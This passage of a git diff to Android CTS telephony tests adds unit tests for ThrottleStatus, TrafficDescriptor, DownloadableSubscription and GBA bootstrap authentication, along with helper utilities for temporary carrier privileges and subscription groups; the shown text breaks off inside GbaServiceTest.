@@ -164,9 +165,9 @@
         SignalStrength testValue = new SignalStrength();
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyRegistryMgr,
                 (trm) -> trm.notifySignalStrengthChanged(
-                        SubscriptionManager.getDefaultSubscriptionId(),
                         SubscriptionManager.getSlotIndex(
                                 SubscriptionManager.getDefaultSubscriptionId()),
+                        SubscriptionManager.getDefaultSubscriptionId(),
                         testValue));
 
         SignalStrength result = queue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
@@ -193,9 +194,9 @@
         boolean testValue = true;
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyRegistryMgr,
                 (trm) -> trm.notifyMessageWaitingChanged(
-                        SubscriptionManager.getDefaultSubscriptionId(),
                         SubscriptionManager.getSlotIndex(
                                 SubscriptionManager.getDefaultSubscriptionId()),
+                        SubscriptionManager.getDefaultSubscriptionId(),
                         testValue));
 
         boolean result = queue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
@@ -254,4 +255,4 @@
         assertEquals(testValue, result);
     }
 
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 6b75746..313dd8b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -36,6 +36,9 @@
 
     private static final String COMMAND_END_BLOCK_SUPPRESSION = "cmd phone end-block-suppression";
 
+    private static final String COMMAND_FLUSH_TELEPHONY_METRICS =
+            "/system/bin/dumpsys activity service TelephonyDebugService --metricsproto";
+
     public static void addTestEmergencyNumber(Instrumentation instr, String testNumber)
             throws Exception {
         executeShellCommand(instr, COMMAND_ADD_TEST_EMERGENCY_NUMBER + testNumber);
@@ -50,6 +53,10 @@
         executeShellCommand(instr, COMMAND_END_BLOCK_SUPPRESSION);
     }
 
+    public static void flushTelephonyMetrics(Instrumentation instr) throws Exception {
+        executeShellCommand(instr, COMMAND_FLUSH_TELEPHONY_METRICS);
+    }
+
     public static boolean isSkt(TelephonyManager telephonyManager) {
         return isOperator(telephonyManager, "45005");
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ThrottleStatusTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ThrottleStatusTest.java
new file mode 100644
index 0000000..ff622e7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ThrottleStatusTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.data.ApnSetting;
+import android.telephony.data.ThrottleStatus;
+
+import org.junit.Test;
+
+public class ThrottleStatusTest {
+
+    private static final int SLOT_INDEX = 10;
+    private static final int TRANSPORT_TYPE = AccessNetworkConstants.TRANSPORT_TYPE_WWAN;
+    private static final int APN_TYPE = ApnSetting.TYPE_IMS;
+    private static final int THROTTLE_TYPE = ThrottleStatus.THROTTLE_TYPE_ELAPSED_TIME;
+    private static final long THROTTLE_EXPIRY_TIME_MILLIS = 5005;
+    private static final int RETRY_TYPE = ThrottleStatus.RETRY_TYPE_NEW_CONNECTION;
+
+    @Test
+    public void testBuilderAndGetters() {
+
+        ThrottleStatus status = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+
+        assertEquals(SLOT_INDEX, status.getSlotIndex());
+        assertEquals(TRANSPORT_TYPE, status.getTransportType());
+        assertEquals(APN_TYPE, status.getApnType());
+        assertEquals(THROTTLE_TYPE, status.getThrottleType());
+        assertEquals(THROTTLE_EXPIRY_TIME_MILLIS, status.getThrottleExpiryTimeMillis());
+        assertEquals(RETRY_TYPE, status.getRetryType());
+    }
+
+    @Test
+    public void testEquals() {
+
+        ThrottleStatus status1 = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+        ThrottleStatus status2 = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+
+        assertEquals(status1, status2);
+    }
+
+    @Test
+    public void testNotEquals() {
+        ThrottleStatus status1 = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+        ThrottleStatus status2 = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setNoThrottle()
+                .setRetryType(RETRY_TYPE)
+                .build();
+        assertNotEquals(status1, status2);
+    }
+
+    @Test
+    public void testParcel() {
+        ThrottleStatus status = new ThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+
+        Parcel stateParcel = Parcel.obtain();
+        status.writeToParcel(stateParcel, 0);
+        stateParcel.setDataPosition(0);
+
+        ThrottleStatus postParcel = ThrottleStatus.CREATOR.createFromParcel(stateParcel);
+        assertEquals(status, postParcel);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
new file mode 100644
index 0000000..5ab27d6
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Parcel;
+import android.telephony.data.TrafficDescriptor;
+
+import org.junit.Test;
+
+public class TrafficDescriptorTest {
+    private static final String DNN = "DNN";
+    private static final String OS_APP_ID = "OS_APP_ID";
+
+    @Test
+    public void testConstructorAndGetters() {
+        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+        assertThat(td.getDnn()).isEqualTo(DNN);
+        assertThat(td.getOsAppId()).isEqualTo(OS_APP_ID);
+    }
+
+    @Test
+    public void testEquals() {
+        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+        TrafficDescriptor equalsTd = new TrafficDescriptor(DNN, OS_APP_ID);
+        assertThat(td).isEqualTo(equalsTd);
+    }
+
+    @Test
+    public void testNotEquals() {
+        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+        TrafficDescriptor notEqualsTd = new TrafficDescriptor("NOT_DNN", "NOT_OS_APP_ID");
+        assertThat(td).isNotEqualTo(notEqualsTd);
+        assertThat(td).isNotEqualTo(null);
+    }
+
+    @Test
+    public void testParcel() {
+        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+
+        Parcel parcel = Parcel.obtain();
+        td.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        TrafficDescriptor parcelTd = TrafficDescriptor.CREATOR.createFromParcel(parcel);
+        assertThat(td).isEqualTo(parcelTd);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp b/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp
new file mode 100644
index 0000000..723278f
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "telephony-cts-utils",
+    srcs: [
+        "**/*.java",
+    ],
+    libs: [
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
new file mode 100644
index 0000000..c3a2963
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts.util;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.internal.util.FunctionalUtils.ThrowingRunnable;
+import static com.android.internal.util.FunctionalUtils.ThrowingSupplier;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.PersistableBundle;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import com.android.internal.telephony.uicc.IccUtils;
+
+import java.security.MessageDigest;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Utility to execute a code block with carrier privileges.
+ *
+ * <p>The utility methods contained in this class will release carrier privileges once the specified
+ * task is completed.
+ *
+ * <p>Example:
+ *
+ * <pre>
+ *   CarrierPrivilegeUtils.withCarrierPrivileges(c, subId, () -> telephonyManager.setFoo(bar));
+ * </pre>
+ */
+public class CarrierPrivilegeUtils {
+    private static final String TAG = CarrierPrivilegeUtils.class.getSimpleName();
+
+    private static class CarrierPrivilegeReceiver extends BroadcastReceiver
+            implements AutoCloseable {
+
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final Context mContext;
+        private final int mSubId;
+        private final boolean mGain;
+
+        /**
+         * Construct a listener that will wait for adding or removing carrier privileges.
+         *
+         * @param subId the subId to wait for.
+         * @param hash the package hash that indicate carrier privileges.
+         * @param gain if true, wait for the package to be added; if false, wait for the package to
+         *     be removed.
+         */
+        CarrierPrivilegeReceiver(Context c, int subId, String hash, boolean gain) {
+            mContext = c;
+            mSubId = subId;
+            mGain = gain;
+
+            mContext.registerReceiver(
+                    this, new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED));
+        }
+
+        @Override
+        public void close() {
+            mContext.unregisterReceiver(this);
+        }
+
+        @Override
+        public void onReceive(Context c, Intent intent) {
+            if (!CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                return;
+            }
+
+            final int subId = intent.getIntExtra(
+                    CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX,
+                    SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+            if (mSubId != subId) {
+                return;
+            }
+
+            final PersistableBundle carrierConfigs =
+                    c.getSystemService(CarrierConfigManager.class).getConfigForSubId(mSubId);
+            if (!CarrierConfigManager.isConfigForIdentifiedCarrier(carrierConfigs)) {
+                return;
+            }
+
+            try {
+                if (hasCarrierPrivileges(c, mSubId) == mGain) {
+                    mLatch.countDown();
+                }
+            } catch (Exception e) {
+            }
+        }
+
+        public void waitForCarrierPrivilegeChanged() throws Exception {
+            if (!mLatch.await(5000 /* millis */, TimeUnit.MILLISECONDS)) {
+                throw new IllegalStateException("Failed to update carrier privileges");
+            }
+        }
+    }
+
+    private static boolean hasCarrierPrivileges(Context c, int subId) {
+        // Synchronously check for carrier privileges. Checking certificates MAY be incorrect if
+        // broadcasts are delayed.
+        return c.getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(subId)
+                .hasCarrierPrivileges();
+    }
+
+    private static String getCertHashForThisPackage(final Context c) throws Exception {
+        final PackageInfo pkgInfo = c.getPackageManager()
+                .getPackageInfo(c.getOpPackageName(), PackageManager.GET_SIGNATURES);
+        final MessageDigest md = MessageDigest.getInstance("SHA-256");
+        final byte[] certHash = md.digest(pkgInfo.signatures[0].toByteArray());
+        return IccUtils.bytesToHexString(certHash);
+    }
+
+    private static void changeCarrierPrivileges(Context c, int subId, boolean gain)
+            throws Exception {
+        if (hasCarrierPrivileges(c, subId) == gain) {
+            Log.w(TAG, "Carrier privileges already " + (gain ? "granted" : "revoked") + "; bug?");
+            return;
+        }
+
+        final String certHash = getCertHashForThisPackage(c);
+        final PersistableBundle carrierConfigs;
+
+        if (gain) {
+            carrierConfigs = new PersistableBundle();
+            carrierConfigs.putStringArray(
+                    CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY,
+                    new String[] {certHash});
+        } else {
+            carrierConfigs = null;
+        }
+
+        final CarrierConfigManager configManager = c.getSystemService(CarrierConfigManager.class);
+
+        try (CarrierPrivilegeReceiver receiver =
+                new CarrierPrivilegeReceiver(c, subId, certHash, gain)) {
+            runWithShellPermissionIdentity(() -> {
+                configManager.overrideConfig(subId, carrierConfigs);
+                configManager.notifyConfigChangedForSubId(subId);
+            }, android.Manifest.permission.MODIFY_PHONE_STATE);
+
+            receiver.waitForCarrierPrivilegeChanged();
+        }
+    }
+
+    public static void withCarrierPrivileges(Context c, int subId, ThrowingRunnable action)
+            throws Exception {
+        try {
+            changeCarrierPrivileges(c, subId, true /* gain */);
+            action.runOrThrow();
+        } finally {
+            changeCarrierPrivileges(c, subId, false /* lose */);
+        }
+    }
+
+    public static <R> R withCarrierPrivileges(Context c, int subId, ThrowingSupplier<R> action)
+            throws Exception {
+        try {
+            changeCarrierPrivileges(c, subId, true /* gain */);
+            return action.getOrThrow();
+        } finally {
+            changeCarrierPrivileges(c, subId, false /* lose */);
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/util/SubscriptionGroupUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/util/SubscriptionGroupUtils.java
new file mode 100644
index 0000000..8c182e0
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/util/SubscriptionGroupUtils.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts.util;
+
+import static com.android.internal.util.FunctionalUtils.ThrowingConsumer;
+import static com.android.internal.util.FunctionalUtils.ThrowingFunction;
+
+import android.content.Context;
+import android.os.ParcelUuid;
+import android.telephony.SubscriptionManager;
+
+import java.util.Collections;
+
+/**
+ * Utility to execute a code block with an ephemeral subscription group.
+ *
+ * <p>These methods will remove the subscription(s) from the ephemeral subscription group once the
+ * specified task is completed.
+ *
+ * <p>Example:
+ *
+ * <pre>
+ * SubscriptionGroupUtils.withEphemeralSubscriptionGroup(
+ *         ctx, subId, (subGrp) -> telephonyManager.doFoo(subGrp, bar));
+ * </pre>
+ */
+public class SubscriptionGroupUtils {
+    public static void withEphemeralSubscriptionGroup(
+            Context c, int subId, ThrowingConsumer<ParcelUuid> action) throws Exception {
+        final SubscriptionManager subMgr = c.getSystemService(SubscriptionManager.class);
+        ParcelUuid subGrp = null;
+        try {
+            subGrp = subMgr.createSubscriptionGroup(Collections.singletonList(subId));
+            action.acceptOrThrow(subGrp);
+        } finally {
+            if (subGrp != null) {
+                subMgr.removeSubscriptionsFromGroup(Collections.singletonList(subId), subGrp);
+            }
+        }
+    }
+
+    public static <R> R withEphemeralSubscriptionGroup(
+            Context c, int subId, ThrowingFunction<ParcelUuid, R> action) throws Exception {
+        final SubscriptionManager subMgr = c.getSystemService(SubscriptionManager.class);
+        ParcelUuid subGrp = null;
+        try {
+            subGrp = subMgr.createSubscriptionGroup(Collections.singletonList(subId));
+            return action.applyOrThrow(subGrp);
+        } finally {
+            if (subGrp != null) {
+                subMgr.removeSubscriptionsFromGroup(Collections.singletonList(subId), subGrp);
+            }
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
index 9afa104..bb3a9ea 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
@@ -45,6 +45,19 @@
     }
 
     @Test
+    public void testDownloadableSubscriptionBuilder() {
+        final String confirmationCode = "fake confirmation code";
+        DownloadableSubscription downloadableSubscription =
+                new DownloadableSubscription.Builder(ACTIVATION_CODE)
+                        .setConfirmationCode(confirmationCode)
+                        .build();
+
+        assertNotNull(downloadableSubscription);
+        assertEquals(ACTIVATION_CODE, downloadableSubscription.getEncodedActivationCode());
+        assertEquals(confirmationCode, downloadableSubscription.getConfirmationCode());
+    }
+
+    @Test
     public void testGetEncodedActivationCode() {
         assertNotNull(mDownloadableSubscription);
         assertEquals(ACTIVATION_CODE, mDownloadableSubscription.getEncodedActivationCode());
@@ -72,15 +85,15 @@
 
         // write object to parcel
         Parcel parcel = Parcel.obtain();
-        mDownloadableSubscription.writeToParcel(parcel,
-                mDownloadableSubscription.describeContents());
+        mDownloadableSubscription.writeToParcel(
+                parcel, mDownloadableSubscription.describeContents());
 
         // extract object from parcel
         parcel.setDataPosition(0 /* pos */);
         DownloadableSubscription downloadableSubscriptionFromParcel =
                 DownloadableSubscription.CREATOR.createFromParcel(parcel);
-        assertEquals(ACTIVATION_CODE,
-                downloadableSubscriptionFromParcel.getEncodedActivationCode());
+        assertEquals(
+                ACTIVATION_CODE, downloadableSubscriptionFromParcel.getEncodedActivationCode());
 
         // There is no way to set DownloadableSubscription#confirmationCode from here because
         // Android P doesn't allow accessing a platform class's @hide methods or private fields
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
new file mode 100644
index 0000000..64a1538
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
@@ -0,0 +1,337 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.AsyncTask;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Random;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+@RunWith(AndroidJUnit4.class)
+public final class GbaServiceTest {
+
+    private static final String TAG = "GbaServiceTest";
+
+    private static final String COMMAND_UPDATE_PACKAGE = "cmd phone gba set-service ";
+    private static final String COMMAND_UPDATE_RELEASE = "cmd phone gba set-release ";
+    private static final String COMMAND_GET_PACKAGE = "cmd phone gba get-service";
+    private static final String COMMAND_GET_RELEASE = "cmd phone gba get-release";
+    private static final String SERVICE_PACKAGE = "android.telephony.cts";
+    private static final String NAF = "3GPP-bootstrapping@naf1.operator.com";
+    private static final String BTID = "(B-TID)";
+    private static final int REQ_TIMEOUT = 5000;
+    private static final int RELEASE_DEFAULT = 0;
+    private static final int RELEASE_TEST_MS = 15 * 1000;
+    private static final int RELEASE_NEVER = -1;
+
+    private static int sSubId;
+    private static Instrumentation sInstrumentation;
+    private static TelephonyManager sTm;
+    private static TestGbaConfig sConfig;
+    private static String sServiceConfig;
+    private static int sReleaseTimeConfig;
+
+    @BeforeClass
+    public static void init() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        sConfig = TestGbaConfig.getInstance();
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sTm = sInstrumentation.getContext().getSystemService(TelephonyManager.class);
+        sServiceConfig = TelephonyUtils.executeShellCommand(
+                sInstrumentation, COMMAND_GET_PACKAGE);
+        sReleaseTimeConfig = Integer.parseInt(TelephonyUtils.executeShellCommand(
+                sInstrumentation, COMMAND_GET_RELEASE));
+    }
+
+    @AfterClass
+    public static void release() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        setService(sServiceConfig);
+        setReleaseTime(sReleaseTimeConfig);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        setService(SERVICE_PACKAGE);
+        setReleaseTime(RELEASE_DEFAULT);
+    }
+
+    @Test (expected = SecurityException.class)
+    public void testPermissions() {
+        if (!isFeatureSupported()) {
+            throw new SecurityException("Feaure is not supported");
+        }
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+                android.Manifest.permission.READ_PHONE_STATE);
+    }
+
+    @Test
+    public void testAuthSuccess() {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        Random rand = new Random();
+
+        for (int i = 0; i < 20; i++) {
+            Log.d(TAG, "testAuthSuccess[" + i + "]");
+            byte[] key = new byte[16];
+            rand.nextBytes(key);
+            sConfig.setConfig(true, key, BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+            final AtomicBoolean isSuccess = new AtomicBoolean(false);
+            final AtomicBoolean isFail = new AtomicBoolean(false);
+            TelephonyManager.BootstrapAuthenticationCallback cb = new
+                      TelephonyManager.BootstrapAuthenticationCallback() {
+                @Override
+                public void onKeysAvailable(byte[] gbaKey, String btId) {
+                    assertNotNull(gbaKey);
+                    assertNotNull(btId);
+                    assertArrayEquals(key, gbaKey);
+                    assertEquals(BTID, btId);
+                    synchronized (isSuccess) {
+                        isSuccess.set(true);
+                        isSuccess.notify();
+                    }
+                }
+
+                @Override
+                public void onAuthenticationFailure(int reason) {
+                    synchronized (isSuccess) {
+                        isFail.set(true);
+                        isSuccess.notify();
+                    }
+                }
+            };
+            UaSecurityProtocolIdentifier.Builder builder =
+                    new UaSecurityProtocolIdentifier.Builder();
+            builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+                    UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+                    (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+                    Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb),
+                    android.Manifest.permission.MODIFY_PHONE_STATE);
+            waitForMs(isSuccess, REQ_TIMEOUT);
+
+            assertTrue(isSuccess.get());
+            assertFalse(isFail.get());
+        }
+    }
+
+    @Test
+    public void testGbaNotSupported() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        setService("");
+        sConfig.setConfig(true, new byte[16], BTID, TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_FEATURE_NOT_SUPPORTED,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+
+        assertTrue(setService(SERVICE_PACKAGE));
+    }
+
+    @Test
+    public void testAuthFail() {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        for (int r = TelephonyManager.GBA_FAILURE_REASON_UNKNOWN;
+                r <= TelephonyManager.GBA_FAILURE_REASON_SECURITY_PROTOCOL_NOT_SUPPORTED; r++) {
+            sConfig.setConfig(false, new byte[16], BTID, r);
+            runGbaFailCase(r, android.Manifest.permission.MODIFY_PHONE_STATE);
+        }
+    }
+
+    private void runGbaFailCase(int r, String permission) {
+        final AtomicBoolean isSuccess = new AtomicBoolean(false);
+        final AtomicBoolean isFail = new AtomicBoolean(false);
+        TelephonyManager.BootstrapAuthenticationCallback cb = new
+                  TelephonyManager.BootstrapAuthenticationCallback() {
+            @Override
+            public void onKeysAvailable(byte[] gbaKey, String btId) {
+                synchronized (isFail) {
+                    isSuccess.set(true);
+                    isFail.notify();
+                }
+            }
+
+            @Override
+            public void onAuthenticationFailure(int reason) {
+                assertEquals(reason, r);
+                synchronized (isFail) {
+                    isFail.set(true);
+                    isFail.notify();
+                }
+            }
+        };
+        UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+        builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP).setProtocol(
+                UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(sTm,
+                (tm) -> tm.bootstrapAuthenticationRequest(TelephonyManager.APPTYPE_USIM,
+                Uri.parse(NAF), builder.build(), true, AsyncTask.SERIAL_EXECUTOR, cb), permission);
+        waitForMs(isFail, REQ_TIMEOUT);
+
+        assertTrue(isFail.get());
+        assertFalse(isSuccess.get());
+    }
+
+    @Test
+    public void testServiceReleaseDefault() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        int ss = sConfig.getServiceState();
+        boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+                || ss == TestGbaConfig.STATE_REMOVED
+                || ss == TestGbaConfig.STATE_UNBOUND);
+        assertTrue(isExpected);
+        sConfig.setConfig(false, new byte[16], BTID,
+                TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+        waitForMs(sConfig, 500);
+
+        assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+    }
+
+    @Test
+    public void testServiceReleaseDuration() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        int ss = sConfig.getServiceState();
+        boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+                || ss == TestGbaConfig.STATE_REMOVED
+                || ss == TestGbaConfig.STATE_UNBOUND);
+        assertTrue(isExpected);
+        sConfig.setConfig(false, new byte[16], BTID,
+                TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+        assertTrue(setReleaseTime(RELEASE_TEST_MS));
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+
+        waitForMs(sConfig, 500);
